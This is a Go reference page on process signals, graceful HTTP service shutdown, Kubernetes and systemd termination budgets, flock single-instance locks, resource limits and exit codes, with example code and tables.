func Reloader(ctx context.Context, reload func()) {
	ch := make(chan os.Signal, 1)
	signal.Notify(ch, syscall.SIGHUP)
	go func() {
		defer signal.Stop(ch)
		for {
			select {
			case <-ch:
				reload()
			case <-ctx.Done():
				return
			}
		}
	}()
}

// Escalate waits for the first signal, runs graceful, and if a SECOND signal
// arrives before graceful returns, calls force. It returns when either finished.
func Escalate(graceful func(), force func()) {
	ch := make(chan os.Signal, 2)
	signal.Notify(ch, os.Interrupt, syscall.SIGTERM)
	defer signal.Stop(ch)

	<-ch
	done := make(chan struct{})
	go func() { graceful(); close(done) }()
	select {
	case <-done:
	case <-ch:
		force()
	}
}

// Name returns the conventional name of a signal for logs.
func Name(s os.Signal) string {
	if sig, ok := s.(syscall.Signal); ok {
		return sig.String()
	}
	return s.String()
}

The tests send real signals to the test process with syscall.Kill(syscall.Getpid(), sig) and assert the context is cancelled, SIGHUP triggers a reload, and a second signal forces.

Ctrl-C and the terminal Important ​

In plain words: Ctrl-C does not talk to your program; the terminal driver sends SIGINT to the whole foreground process group.

Common misunderstanding: "Ctrl-C kills my program and its children as separate steps." Everything in the foreground group gets the signal at once, which is why go run plus your binary both stop. A child you moved into its own group with Setpgid does not.

Definition: Ctrl-C sends SIGINT, Ctrl-\ sends SIGQUIT, Ctrl-Z sends SIGTSTP (Go leaves job-control signals at the system default), Ctrl-D is not a signal: it closes stdin (EOF). If the program was started with SIGINT or SIGHUP ignored (as nohup does for SIGHUP), Go keeps them ignored until you call Notify for them.

KeystrokeDeliveredGo default
Ctrl-CSIGINT to the foreground groupExit
Ctrl-\SIGQUITExit 2, goroutine dump
Ctrl-ZSIGTSTPSystem default: job stops
Ctrl-DEOF on stdin, no signalRead returns io.EOF

Graceful shutdown: the pattern Must-know ​

In plain words: Graceful shutdown is a fixed order of steps: tell the world you are leaving, stop taking new work, finish what you have, release what you hold, exit.

Common misunderstanding: "Shutdown on the HTTP server is graceful shutdown." It is one step. Readiness, background workers, message consumers, caches to flush and connection pools are all yours.

Definition: the ordered steps, with the budget each gets:

StepActionBudgetWhy in this position
1Receive signal, cancel root context0Everything hangs off the context
2Readiness turns red (/readyz returns 503)0Load balancer must stop choosing you
3Wait a drain delay1-10 sEndpoint removal is asynchronous and slow
4Stop accepting, finish in-flight HTTP (Shutdown)5-25 sUsers are waiting on these
5Stop consuming messages, finish the current onesecondsUnacked messages are redelivered
6Drain worker queuessecondsNo handler can enqueue any more
7Flush logs, metrics, traces1-2 sObservability about the shutdown itself
8Close database pools, caches1-2 sNothing can use them any more
9Return from main0Deferred functions run, exit status 0
Shutdown order (each step has its own budget)1 SIGTERMctx cancelled2 Readiness/readyz = 5033 Drain delayLB sees red4 Shutdownclose listener5 Workersfinish queue6 CloseDB, logs, flushTime budgethookdrain delayShutdown(ctx) timeoutworker timeoutcloseslack, then KILLterminationGracePeriodSeconds / TimeoutStopSec (default 30 s / 90 s)Rule: preStop + drain + Shutdown + workers + close must becomfortably shorter than the grace period, or SIGKILL cuts step 5 or 6.
t=0.0   SIGTERM      main: ctx cancelled                       log: shutdown requested
t=0.0   readiness    /readyz -> 503                            log: readiness off
t=1.0   drain delay  LB removed the pod                        (listener still open)
t=1.0   Shutdown()   listener closed, idle conns closed        in-flight requests continue
t=2.5   last request answered                                  log: http drained
t=2.5   workers      queue closed, worker finishes job         log: workers drained
t=2.5   close        db.Close(), logger flush                  log: resources closed
t=2.5   exit 0

Real scenario: a rolling deploy of 20 pods; without steps 2-3, each pod's departure sends a few percent of requests to a pod that already closed its listener (connection refused or 502).

go
// Package graceful is the ordered-shutdown skeleton: readiness flips first,
// the load balancer gets time to notice, in-flight requests drain, background
// workers drain, and only then are the dependencies closed.
package graceful

import (
	"context"
	"errors"
	"fmt"
	"log/slog"
	"net"
	"net/http"
	"sync/atomic"
	"time"

	"golang.org/x/sync/errgroup"
)

// Config holds the timings. Their sum must be shorter than the orchestrator's
// kill timer (terminationGracePeriodSeconds, TimeoutStopSec).
type Config struct {
	DrainDelay      time.Duration // readiness is red, listener still open
	ShutdownTimeout time.Duration // budget for http.Server.Shutdown
	WorkerTimeout   time.Duration // budget for the worker to finish its job
}

// Service owns the HTTP server, a worker and a resource closed last.
type Service struct {
	cfg     Config
	log     *slog.Logger
	srv     *http.Server
	ready   atomic.Bool
	work    chan func()
	workers errgroup.Group
	closeFn func() error // e.g. database pool, flush logs and metrics
}

// New builds a Service. handler is wrapped so /readyz reflects shutdown state.
func New(cfg Config, log *slog.Logger, handler http.Handler, closeFn func() error) *Service {
	s := &Service{cfg: cfg, log: log, work: make(chan func(), 16), closeFn: closeFn}
	mux := http.NewServeMux()
	mux.HandleFunc("GET /healthz", func(w http.ResponseWriter, _ *http.Request) {
		w.WriteHeader(http.StatusOK) // liveness: the process is not wedged
	})
	mux.HandleFunc("GET /readyz", func(w http.ResponseWriter, _ *http.Request) {
		if !s.ready.Load() {
			http.Error(w, "shutting down", http.StatusServiceUnavailable)
			return
		}
		w.WriteHeader(http.StatusOK)
	})
	mux.Handle("/", handler)
	s.srv = &http.Server{Handler: mux, ReadHeaderTimeout: 5 * time.Second}
	return s
}

// Submit queues background work; it reports false once shutdown has begun.
func (s *Service) Submit(f func()) bool {
	if !s.ready.Load() {
		return false
	}
	select {
	case s.work <- f:
		return true
	default:
		return false
	}
}

// Run serves on ln until ctx is cancelled, then shuts down in order.
// It returns only after every step finished or timed out.
func (s *Service) Run(ctx context.Context, ln net.Listener) error {
	s.ready.Store(true)

	// One worker drains the queue until it is closed.
	s.workers.Go(func() error {
		for f := range s.work {
			f()
		}
		return nil
	})

	serveErr := make(chan error, 1)
	go func() {
		// ErrServerClosed is the NORMAL result of Shutdown, not a failure.
		if err := s.srv.Serve(ln); !errors.Is(err, http.ErrServerClosed) {
			serveErr <- err
			return
		}
		serveErr <- nil
	}()

	select {
	case err := <-serveErr: // the server died by itself
		return fmt.Errorf("serve: %w", err)
	case <-ctx.Done():
		s.log.Info("shutdown requested", "cause", context.Cause(ctx))
	}

	var errs []error

	// 1. Readiness goes red. The listener is STILL open: requests the load
	//    balancer sent before it noticed are served normally.
	s.ready.Store(false)
	s.log.Info("readiness off, waiting for the load balancer", "delay", s.cfg.DrainDelay)
	time.Sleep(s.cfg.DrainDelay)

	// 2. Stop accepting, finish in-flight requests. Fresh context: ctx is
	//    already cancelled and would make Shutdown return immediately.
	shCtx, cancel := context.WithTimeout(context.Background(), s.cfg.ShutdownTimeout)
	defer cancel()
	if err := s.srv.Shutdown(shCtx); err != nil {
		errs = append(errs, fmt.Errorf("http shutdown: %w", err))
		_ = s.srv.Close() // budget exhausted: cut the stragglers
	}
	<-serveErr
	s.log.Info("http drained")

	// 3. Handlers are gone, so nobody can Submit any more: close the queue and
	//    let the worker finish what it already accepted.
	close(s.work)
	waitDone := make(chan error, 1)
	go func() { waitDone <- s.workers.Wait() }()
	select {
	case err := <-waitDone:
		if err != nil {
			errs = append(errs, err)
		}
		s.log.Info("workers drained")
	case <-time.After(s.cfg.WorkerTimeout):
		errs = append(errs, errors.New("worker drain timed out"))
	}

	// 4. Dependencies last: nothing can use them any more.
	if s.closeFn != nil {
		if err := s.closeFn(); err != nil {
			errs = append(errs, fmt.Errorf("close resources: %w", err))
		}
		s.log.Info("resources closed")
	}
	return errors.Join(errs...)
}

http.Server.Shutdown Must-know ​

In plain words: Shutdown closes the listening sockets, closes idle keep-alive connections, and waits for busy ones to become idle, up to the context's deadline.

Common misunderstanding: "ListenAndServe returning means the server stopped." After Shutdown, ListenAndServe and Serve return http.ErrServerClosed immediately (text http: Server closed) while draining is still going on. If main returns at that moment, in-flight requests are cut. Wait for Shutdown to return.

Definition: from the Go source: Shutdown works "by first closing all open listeners, then closing all idle connections, and then waiting indefinitely for connections to return to idle and then shut down"; if the context expires first it returns the context's error. It does not wait for hijacked connections (WebSockets); use RegisterOnShutdown to tell them to close. Pass a fresh context with its own timeout: the signal context is already cancelled, so Shutdown(ctx) with it returns context canceled at once.

CallListenerIdle connsActive requestsReturns
Shutdown(ctx)ClosedClosedWaits until idle or ctx donenil, or ctx.Err()
Close()ClosedClosedClosed immediatelyAny close error
Serve/ListenAndServe after eithern/an/an/ahttp.ErrServerClosed
RegisterOnShutdown(f)n/an/an/af runs in its own goroutine

What goes wrong:

MistakeSymptomFix
log.Fatal(srv.ListenAndServe())Logs http: Server closed as fatal, exit 1Treat ErrServerClosed as success
Shutdown(ctx) with the cancelled signal contextReturns context canceled instantlycontext.WithTimeout(context.Background(), d)
Returning from main after ListenAndServe returnsIn-flight requests droppedBlock until Shutdown returns
Long-poll or SSE handlersShutdown hits its timeoutCancel their contexts via BaseContext or RegisterOnShutdown
No Close() after timeoutProcess hangs until SIGKILLCall Close() when Shutdown errors

Orchestrators: Kubernetes and systemd Must-know ​

In plain words: The orchestrator sends SIGTERM, starts a timer, and sends SIGKILL when the timer ends. Your shutdown must finish before the timer.

Common misunderstanding: "When Kubernetes sends SIGTERM the pod is already out of the Service." The two happen in parallel: the control plane removes the pod from EndpointSlices while the kubelet starts shutdown, and proxies and load balancers learn about it with a delay. For a few seconds a terminating pod can still receive traffic.

Definition: Kubernetes: the default terminationGracePeriodSeconds is 30 seconds; the grace period countdown starts before the preStop hook runs, so a hook's time is part of the budget; after SIGTERM and the grace period the kubelet sends SIGKILL. systemd: TimeoutStopSec= is how long to wait for the service to stop after ExecStop=/SIGTERM; after it, the service gets SIGKILL (KillMode=control-group kills every process of the unit, mixed sends SIGTERM to the main process only and SIGKILL to the rest). Docker: docker stop sends SIGTERM, waits 10 seconds, sends SIGKILL.

Kubernetes pod deletion (kubectl delete pod, rolling update, node drain)
1  API server marks the Pod Terminating, records the grace period (default 30 s)
2  in parallel: control plane removes the Pod from EndpointSlices
3  in parallel: kubelet runs the preStop hook (e.g. sleep 5)
4  kubelet sends SIGTERM to PID 1 of each container
5  app: readiness off, drain, Shutdown, close
6  grace period over -> SIGKILL, exit code 137
Pod deletion: three clocks start togethert=0 deletet=grace: SIGKILLEndpoints / LB deregistration (async)preStop (sleep 5)TERMapp: ready off, drain, Shutdown, workers, closeSIGKILLGrace period countdown starts BEFORE preStop runs, sopreStop time is taken out of the app's own shutdown budget.Readiness gating: the app answers /readyz 503 on SIGTERM, but traffic canstill arrive until every kube-proxy and load balancer has noticed: sleep a few seconds.
PlatformKnobMeaningGotcha
KubernetesterminationGracePeriodSecondsTotal time from delete to SIGKILLIncludes preStop
Kuberneteslifecycle.preStopHook before SIGTERMA sleep here covers endpoint propagation
KubernetesreadinessProbeWhether traffic is sentFlip it red on SIGTERM too
Kuberneteslifecycle.stopSignalAlternative stop signalCheck your cluster version
KubernetesExit code 137128+9, killedOften OOM or grace period too short
systemdTimeoutStopSec=Wait before SIGKILLDefault 90 s via DefaultTimeoutStopSec=
systemdKillSignal=First signal, default SIGTERMMatch the signal you handle
systemdKillMode=Who gets signalledcontrol-group is the default
systemdRestart=on-failureRestart after non-zero exitClean exit 0 stays stopped
DockerSTOPSIGNAL, docker stop -tSignal and waitShell-form CMD wraps your binary in sh, which may not forward signals

Fix / how to use it: put the budgets in a table in your repo, and keep drain delay + Shutdown timeout + worker timeout + close under the grace period with slack. Use the exec form of ENTRYPOINT so the Go binary is PID 1 and gets the signal; a fresh Go program as PID 1 still needs an explicit NotifyContext, and containers that spawn children need an init for reaping.

Ordered shutdown with errgroup Important ​

In plain words: Several components start together and must stop in reverse dependency order: first the thing that feeds work, last the thing everybody depends on.

Common misunderstanding: "errgroup.WithContext shuts everything down in the right order." It cancels one context when any member fails; every member then stops at once. Order needs explicit stages.

Definition: golang.org/x/sync/errgroup runs functions in goroutines and Wait returns the first non-nil error; with WithContext the derived context is cancelled on the first error or when Wait returns. For ordering, give each stage its own context, or run stages in sequence after the group of producers finishes.

stage A (sources)   HTTP server, queue consumers      stop first: no new work enters
stage B (workers)   job pool, outbox relay            stop second: finish accepted work
stage C (sinks)     DB pool, cache, log flush         stop last: nothing uses them any more

Real scenario: an API that enqueues emails: closing the queue before the HTTP server lets a late request panic with "send on closed channel"; closing the database before the worker finishes loses the last jobs.

The graceful.Service above is the minimal two-stage version: Shutdown (stage A), close the work channel and wait for the errgroup worker (stage B), then the resource closer (stage C). Its tests assert the order job-finished then closed, and that a hung handler makes Run return context.DeadlineExceeded (joined with errors.Join).

PID files and single-instance locks Important ​

In plain words: A PID file says "process 4242 is running"; a lock says "I am running, so nobody else may". The lock is the part that can be trusted.

Common misunderstanding: "A PID file prevents a second copy." A file only records a number; after a crash the file is still there and the number may now belong to another program. A kernel lock (flock) disappears when the process does.

Definition: syscall.Flock(fd, LOCK_EX|LOCK_NB) takes an exclusive advisory lock on an open file; if another process holds it, it fails with EWOULDBLOCK. The lock is tied to the open file description and released when the last descriptor closes, including on a crash or SIGKILL. Go opens files close-on-exec, so children do not inherit the descriptor and keep the lock alive.

TechniqueSurvives crash cleanlyDetects a live twinWorks on NFSNotes
PID file onlyNo (stale file)Only by kill -0 guessn/aRace-prone, PID reuse
PID file + flockYesYesUnreliable on NFSRecommended on one host
fcntl record lockYesYesBetter on NFSDropped when any fd to the file closes
Unix socket bindYes (file stays, bind fails)Yesn/aNeeds cleanup of the socket file
Database advisory lockYes (session ends)Across hostsn/aSee Locks & Concurrency
go
//go:build unix

// Package pidlock keeps one instance of a program running per lock file.
// The lock is flock(2): the kernel drops it when the process dies, so a crash
// never leaves a stale lock (unlike a bare PID file).
package pidlock

import (
	"errors"
	"fmt"
	"os"
	"strconv"
	"strings"
	"syscall"
)

// ErrLocked means another live process holds the lock.
var ErrLocked = errors.New("another instance is running")

// Lock is a held single-instance lock.
type Lock struct{ f *os.File }

// Acquire takes an exclusive non-blocking flock on path and writes our PID
// into the file for humans and tools. The PID is information; the lock is
// the truth.
func Acquire(path string) (*Lock, error) {
	f, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, 0o644)
	if err != nil {
		return nil, err
	}
	if err := syscall.Flock(int(f.Fd()), syscall.LOCK_EX|syscall.LOCK_NB); err != nil {
		holder := readPID(f)
		f.Close()
		if errors.Is(err, syscall.EWOULDBLOCK) {
			return nil, fmt.Errorf("%w (pid %s)", ErrLocked, holder)
		}
		return nil, err
	}
	if err := f.Truncate(0); err != nil {
		f.Close()
		return nil, err
	}
	if _, err := f.WriteAt([]byte(strconv.Itoa(os.Getpid())+"\n"), 0); err != nil {
		f.Close()
		return nil, err
	}
	return &Lock{f: f}, nil
}

// Release unlocks and removes the file. Removing is only a courtesy: another
// process may already be waiting on the old inode, which is why correctness
// never depends on the file existing.
func (l *Lock) Release() error {
	name := l.f.Name()
	_ = syscall.Flock(int(l.f.Fd()), syscall.LOCK_UN)
	err := l.f.Close()
	_ = os.Remove(name)
	return err
}

func readPID(f *os.File) string {
	buf := make([]byte, 32)
	n, _ := f.ReadAt(buf, 0)
	s := strings.TrimSpace(string(buf[:n]))
	if s == "" {
		return "unknown"
	}
	return s
}

The test re-executes the test binary as a holder process, asserts the second Acquire fails with the holder's PID in the message, kills the holder with SIGKILL, and asserts the lock is free again.

Daemonising: don't Good to know ​

In plain words: Old Unix programs forked into the background and detached from the terminal to become daemons. Today, something else does that job for you.

Common misunderstanding: "A Go service should fork itself into the background." Go's runtime is multi-threaded, and fork without exec in a multi-threaded process is unsafe, so the classic double-fork daemon does not work well in Go. Run in the foreground and let a supervisor manage the process.

Definition: use systemd (Type=simple, Restart=on-failure), supervisord, a container runtime, or Kubernetes; log to stdout/stderr and let the supervisor capture it.

SupervisorRuns your binary asRestartsLogsStops with
systemdForeground serviceRestart=journaldSIGTERM, TimeoutStopSec
supervisordForeground childautorestartfiles, stdoutstopsignal, stopwaitsecs
DockerPID 1 in a container--restartjson-fileSIGTERM, then SIGKILL after 10 s
KubernetesPID 1 in a podrestartPolicystdout to the nodePod termination flow
nohup/&Detached shell jobNonenohup.outNothing: avoid in production

Process info, GOMAXPROCS and cgroup CPU limits Must-know ​

In plain words: GOMAXPROCS is how many operating-system threads may run Go code at the same time. Before Go 1.25 it defaulted to the number of CPUs on the machine, even when a container was limited to a fraction of them.

Common misunderstanding: "A pod limited to 2 CPUs has GOMAXPROCS=2." Before Go 1.25 it had the node's core count (say 64), the runtime ran 64 threads, and the kernel throttled the container's CPU quota, adding latency spikes.

Definition: runtime.NumCPU() is the logical CPUs usable by the process at startup; runtime.GOMAXPROCS(0) reads the current setting. From the Go 1.25 release notes: "On Linux, the runtime considers the CPU bandwidth limit of the cgroup containing the process, if any. If the CPU bandwidth limit is lower than the number of logical CPUs available, GOMAXPROCS will default to the lower limit." The runtime does not consider Kubernetes "CPU requests", it updates the value periodically, and it is disabled when GOMAXPROCS is set by environment variable or call, or with GODEBUG settings containermaxprocs=0 and updatemaxprocs=0.

Go versionDefault GOMAXPROCS in a pod with CPU limit 2 on a 16-core node
1.24 and older16
1.24 and older with automaxprocs imported2
1.25 and newer2 (limit read from the cgroup)
Any version with GOMAXPROCS=4 env4
Pod with only a CPU request, no limit16 (requests are ignored)

Fix / how to use it: on Go 1.25+ do nothing and log the value at startup (see the procinfo snippet above). On older Go import go.uber.org/automaxprocs. Set memory with GOMEMLIMIT separately; it is not covered here.

Resource limits: Rlimit and file descriptors Important ​

In plain words: Every process has soft and hard limits on things like open files. When a connection-heavy service hits the soft limit it starts failing accept and open with "too many open files".

Common misunderstanding: "Go handles the limit." Since Go 1.19 programs that import os raise the soft RLIMIT_NOFILE to the hard limit on Unix at startup, but a low hard limit (a container with nofile 1024) still binds you, and leaked descriptors hit it just as fast.

Definition: syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rl) reads Cur (soft) and Max (hard); Setrlimit changes them; raising the hard limit needs privilege. The error is EMFILE (too many open files, process limit) or ENFILE (system-wide table full).

Limitulimit flagRlimit constantSymptom
Open files-nRLIMIT_NOFILEaccept4: too many open files
Processes/threads-uRLIMIT_NPROCfork/exec: resource temporarily unavailable
Address space-vRLIMIT_ASfatal error: out of memory
Core file size-cRLIMIT_CORENo core dump
Stack size-sRLIMIT_STACKAffects C threads, not goroutines

The procinfo test lowers the soft limit to 64 inside the test process, opens /dev/null until it fails, and asserts the error is EMFILE, then restores the limit. Production systemd units set LimitNOFILE=; Kubernetes inherits the node's container runtime default.

Exiting: os.Exit, return and panic Must-know ​

In plain words: Returning from main ends the program with status 0 after running its deferred calls. os.Exit(n) ends it immediately with status n and skips every deferred call. An unrecovered panic prints a trace and ends with status 2.

Common misunderstanding: "log.Fatal is a clean exit." It calls os.Exit(1) after logging: no defer, no flush, no Shutdown.

Definition: the runtime exits with status 2 for an unrecovered panic and for fatal errors such as fatal error: all goroutines are asleep - deadlock!. A process killed by a signal has no exit status; the shell reports 128+signal.

mode           exit  defers run  stderr
return         0     yes         (nothing)
os.Exit(3)     3     no          (nothing)
panic("boom")  2     yes         panic: boom  /  goroutine 1 [running]:
deadlock       2     no          fatal error: all goroutines are asleep - deadlock!
SIGKILL        -1*   no          (nothing)      * Go's ExitCode(); shell says 137
go
//go:build unix

// Package exitcodes demonstrates what a Go program's exit status looks like
// from the outside, and what zombies are.
package exitcodes

import (
	"fmt"
	"os"
)

// Mode names the behaviours the helper process can show.
const (
	ModeReturn   = "return"    // main returns normally: status 0, defers run
	ModeOSExit   = "os-exit"   // os.Exit(3): status 3, defers DO NOT run
	ModePanic    = "panic"     // unrecovered panic: status 2, defers run first
	ModeFatal    = "fatal"     // log.Fatal style: status 1, defers do not run
	ModeDeadlock = "deadlock"  // fatal error: all goroutines are asleep: status 2
	ModeSelfKill = "self-kill" // killed by SIGKILL: no status, only a signal
)

// Behave is called from a helper main to act out one mode.
func Behave(mode string) int {
	defer fmt.Fprintln(os.Stderr, "deferred function ran")
	switch mode {
	case ModeOSExit:
		os.Exit(3)
	case ModePanic:
		panic("boom")
	case ModeFatal:
		fmt.Fprintln(os.Stderr, "fatal: cannot continue")
		os.Exit(1)
	case ModeDeadlock:
		select {} // no other goroutine: the runtime detects it
	case ModeSelfKill:
		p, _ := os.FindProcess(os.Getpid())
		_ = p.Kill()
		select {}
	}
	return 0
}

The tests re-execute the test binary as a helper and assert status 0, 3, 2 (panic), 2 (deadlock) and "killed by SIGKILL" for each mode.

Fix / how to use it: keep main tiny: func main() { os.Exit(run()) } where run() returns an exit code after all its defers. That gives you one place that maps errors to codes and keeps os.Exit out of the middle of the program.

Non-root and os/user Important ​

In plain words: A service that is compromised should be able to do as little as possible, so it should not run as root.

Common misunderstanding: "I need root to listen on port 80." Only on Linux kernels where net.ipv4.ip_unprivileged_port_start is 1024; the better answer is to listen on 8080 and let a proxy or Service map port 80, or grant CAP_NET_BIND_SERVICE to the binary.

Definition: os.Getuid(), os.Geteuid(), os.Getgid() are cheap system calls; user.Current() and user.Lookup(name) read the user database (with cgo, via libc; without cgo, by parsing /etc/passwd). Containers that run with an arbitrary UID may have no passwd entry, so prefer os.Getuid() for decisions and user.Current() only for display. In Kubernetes use securityContext.runAsNonRoot: true, runAsUser, readOnlyRootFilesystem: true and drop capabilities.

CheckAPINotes
Am I root?os.Geteuid() == 0No passwd lookup needed
Who am I?user.Current()May fail without a passwd entry
Other user's homeuser.Lookup("deploy")Returns *user.User or user.UnknownUserError
Drop privilegessyscall.SetuidPrefer starting unprivileged; dropping inside a threaded runtime is error-prone

The RefuseRoot function in the procinfo snippet fails startup when Geteuid() == 0.

syscall, x/sys/unix and Windows Good to know ​

In plain words: syscall is the standard library's raw operating-system interface; golang.org/x/sys/unix is the maintained, larger one.

Common misunderstanding: "syscall is the right place for new code." Its own source says: "Most of the functions, types, and constants defined in this package are also available in the golang.org/x/sys package. That package has more system call support than this one, and most new code should prefer that package where possible."

Definition: the snippets here use syscall.Kill, syscall.Flock, syscall.Getrlimit and SysProcAttr because os/exec takes *syscall.SysProcAttr. For anything newer (unix.Prctl, unix.PidfdOpen) use unix. Code using these functions needs //go:build unix (or linux/darwin) tags; on Windows use golang.org/x/sys/windows.

NeedStandard libraryx/sys/unixWindows
Send signalsyscall.Kill(pid, sig), Process.Signalunix.KillProcess.Kill only; no arbitrary signals
Process groupSysProcAttr.Setpgidsame fieldCreationFlags
File locksyscall.Flockunix.Flockwindows.LockFileEx
Resource limitssyscall.Getrlimitunix.Getrlimit, unix.PrlimitJob objects
Pidfd, prctlnot availableunix.PidfdOpen, unix.Prctln/a

stdin when piped Good to know ​

In plain words: A CLI tool may be run by a person typing into it or by a shell pipe, and it should behave sensibly in both.

Common misunderstanding: "os.Stdin always has data." In a terminal, reading blocks until the user types; under a supervisor, stdin is often /dev/null and returns EOF at once.

Definition: os.Stdin.Stat() returns a FileInfo; if Mode()&os.ModeCharDevice == 0, input is a pipe or file. bufio.Scanner reads lines; its default token limit is 64 KiB (bufio.ErrTooLong), raised with Scanner.Buffer. SIGPIPE on stdout (yourtool | head -1) ends the program quietly; handle EPIPE on other descriptors.

SituationModeCharDeviceRead behaviour
Interactive terminalsetBlocks for a line
echo x | toolclear (pipe)Data, then EOF
tool < fileclear (regular file)Data, then EOF
systemd serviceclear (/dev/null)EOF immediately
docker run -i without -tclear (pipe)Data until closed

Mechanics ​

Error texts you will see Must-know ​

TextWhere fromMeaningFix
exec: "ffmpeg": executable file not found in $PATHexec.ErrNotFoundNot installed or PATH differs under the serviceLookPath at startup; set PATH in the unit
fork/exec /usr/bin/x: permission deniedStartNot executable or noexec mountchmod +x, mount options
fork/exec /bin/x: no such file or directoryStartBinary exists but its interpreter or loader is missingCheck the shebang, libc
exec: already startedStartReused CmdNew Cmd
exec: Stdout already setOutputSet Stdout and called OutputOne or the other
exec: StdoutPipe after process startedStdoutPipePipe created after StartCreate pipes first
exec: WaitDelay expired before I/O completeWaitErrWaitDelayOrphaned grandchildren hold the pipe
exec: "./prog": cannot run executable found relative to current directoryErrDotRelative PATH entry (Go 1.19+)Use an absolute path
signal: killedExitError.Error()Killed by SIGKILLLook for OOM, a timeout, or Process.Kill
signal: terminatedExitError.Error()Killed by SIGTERMExpected on stop
exit status 1ExitError.Error()Non-zero exitBranch on ExitCode()
http: Server closedhttp.ErrServerClosedNormal result after ShutdownNot a failure
context deadline exceededShutdown or CommandContextThe budget ran outRaise it or fix the slow part
accept tcp [::]:8080: accept4: too many open filesEMFILEDescriptor limit or leakRaise LimitNOFILE, close leaks
fork: retry: Resource temporarily unavailableshell, EAGAINPID or process limit, often zombiesWait your children
fatal error: all goroutines are asleep - deadlock!runtimeNothing can run; exit 2See Race Conditions & Deadlocks
write: broken pipeEPIPEReader went awayTreat as normal stop

Exit status table: what each observer sees Must-know ​

What happenedGo ExitCode()Shell $?Kubernetes exitCodesystemd
main returned000status=0/SUCCESS
os.Exit(3)333status=3
Panic222status=2
SIGTERM, default action-1143143signal=TERM
SIGKILL after grace period-1137137signal=KILL
OOM killed-1137137, reason OOMKilledsignal=KILL
SIGQUIT222status=2
Graceful shutdown completes000status=0/SUCCESS

Solving the classic problems ​

ProblemSolutionHowCost
Command injection through sh -cNo shellSeparate arguments, --, allow-listNone
Child hangs foreverCommandContext + WaitDelayDeadline kills, delay frees pipesTwo timers to size
Grandchildren surviveProcess groupSetpgid + Kill(-pgid)Unix only
Lost requests on deployReadiness + drain + ShutdownSee Graceful shutdownSlower deploys by the drain delay
Second Ctrl-C ignoredstop() after first signalRestores defaultHard exit on second press
Two copies of a daemonflockLock a file for the process lifetimeSingle host only
CPU throttling in podsGo 1.25+ or automaxprocsMatch GOMAXPROCS to limitNone
too many open filesRaise limit, fix leaksLimitNOFILE, defer CloseMemory per descriptor
ZombiesWait, init processtini, docker run --initOne tiny binary

Run a command safely with a timeout ​

Use the execrun.Run wrapper above, and the table in exec.Command for argument rules. It returns a Result for every normal outcome (including a non-zero exit) and an error only for "did not run", "timed out" or an unexpected failure.

Stop a child and its whole tree ​

Use proctree.Command and KillGroup; see Process groups. Send SIGTERM first, wait for grace, then SIGKILL the group.

Shut a service down in order ​

Use graceful.Service; the lab below shows its real log order. A minimal test double for the load balancer is the readyz check in the tests.

Flush and drain on a signal in a worker ​

go
// A consumer loop that stops cleanly: finish the current message, then exit.
func consume(ctx context.Context, msgs <-chan Message, handle func(Message) error) error {
	for {
		select {
		case <-ctx.Done():
			return ctx.Err() // current message already handled: handle() ran to completion
		case m, ok := <-msgs:
			if !ok {
				return nil
			}
			if err := handle(m); err != nil {
				return err
			}
		}
	}
}

Message brokers redeliver whatever was not acknowledged when you stop; see Message Acknowledgment and Delivery Guarantees.

Verify that connections really drained ​

After a shutdown test, confirm the pool released its sessions; this query is the honest check that "resources closed" is true on the database side:

sql
-- PostgreSQL: sessions still open for this service after it exited.
SELECT pid, state, now() - state_change AS idle_for, left(query, 60) AS last_query
FROM pg_stat_activity
WHERE application_name = 'orders-api'
ORDER BY state_change;
-- Expected after a clean shutdown: 0 rows. Rows in "idle in transaction" mean a handler
-- was cut mid-transaction (see /database/acid-transactions for what the server did with it).

Choosing ​

SituationUseExtraReason
HTTP service in KubernetesNotifyContext + readiness + preStop sleep + ShutdownGrace period 30-60 sEndpoint removal lags
HTTP service under systemdNotifyContext + ShutdownTimeoutStopSec= above your budgetNo endpoint lag
CLI toolDefault signal behaviourNotifyContext only to clean temp filesCtrl-C should just work
Background workerStop consuming, finish the current jobIdempotent handlersSIGKILL can still arrive
Need to run an external toolexec.CommandContext, no shellWaitDelay, SetpgidBounded, no injection
Need output of a long processStdoutPipe + goroutineWait lastNo deadlock
One instance per hostflock on a runtime filePID inside for humansAuto release
One instance per clusterLease in a database or etcdLeader electionNot a process concern
Old Go in containersautomaxprocsUpgrade to 1.25Avoids throttling
Need a daemonDo not forksystemd, containersGo is multi-threaded

In architecture: from a single process to a distributed system ​

Monolith: one process, one database ​

One binary, one pool, one listener. The shutdown has three stages (HTTP, background jobs, database), and the test is "deploy while a 2-second request runs and see it finish". Systemd or a container runs it; Restart=on-failure brings it back after a crash. The simplest correct usage is the graceful snippet unchanged.

Modular monolith and multiple databases ​

Modules own resources: orders owns a pool, search owns an index client, billing owns a queue consumer. Give each module a Close(ctx) method and stop them in reverse dependency order from main; a module that starts a goroutine must also expose how it stops. Do not let modules call os.Exit or install their own signal handlers: there is one NotifyContext per process.

Microservices ​

Each service is its own process with its own grace period, and a rolling deploy restarts them one pod at a time.

client -> gateway -> orders -> payments        (rolling deploy of payments)
1  payments pod A gets SIGTERM, readiness off
2  gateway and orders retry on pod B (idempotency key on the charge request)
3  pod A finishes its in-flight charge, closes, exits 0
4  pod B receives the retry; the idempotency key makes the duplicate a no-op

What survives across service boundaries: nothing implicit. A request killed in the middle is retried by the caller, so the callee must be idempotent; a message half-processed is redelivered, so the consumer must be idempotent (see Idempotent Consumers). Propagate deadlines with context so a terminating upstream does not leave downstream work running.

Distributed data: replicas, caches, NAT and containers ​

A process that is shutting down stops sending heartbeats, so leader-elected systems (database primaries, queue consumers in a group) rebalance: Kafka consumer groups rebalance on leave, and a connection pool to a replica set sees connections close. A graceful leave (explicit Close of the consumer or leaving the group) is faster than waiting for a session timeout. NAT gateways and load balancers have idle timers independent of your shutdown; connections closed by Shutdown send FIN, while a SIGKILL leaves them half-open until a timeout (see Ports, Sockets & Connections). In a cache-aside setup, flush write-behind buffers before closing the cache client.

Scaling path: 1×, 10×, 100× ​

LoadShutdown designWhat breaks first
1x: one processNotifyContext + ShutdownNothing; a deploy drops a few requests if skipped
10x: a handful of podsAdd readiness, preStop sleep, drain delayShort 502 spikes on each deploy
100x: hundreds of pods, autoscalingBudget table, connection draining at the load balancer, graceful consumer leave, surge/unavailable tuningThundering herd of reconnects; database connection storms when many pods restart at once
Spot or preemptible nodesShutdown budget under the 30 s or 2 min noticeGrace period larger than the node's own notice

Lab ​

All steps ran on macOS with Go 1.27.4 unless marked. Setup: cd docs/snippets/go/os-processes-signals/go.

1. Run the tests (real) ​

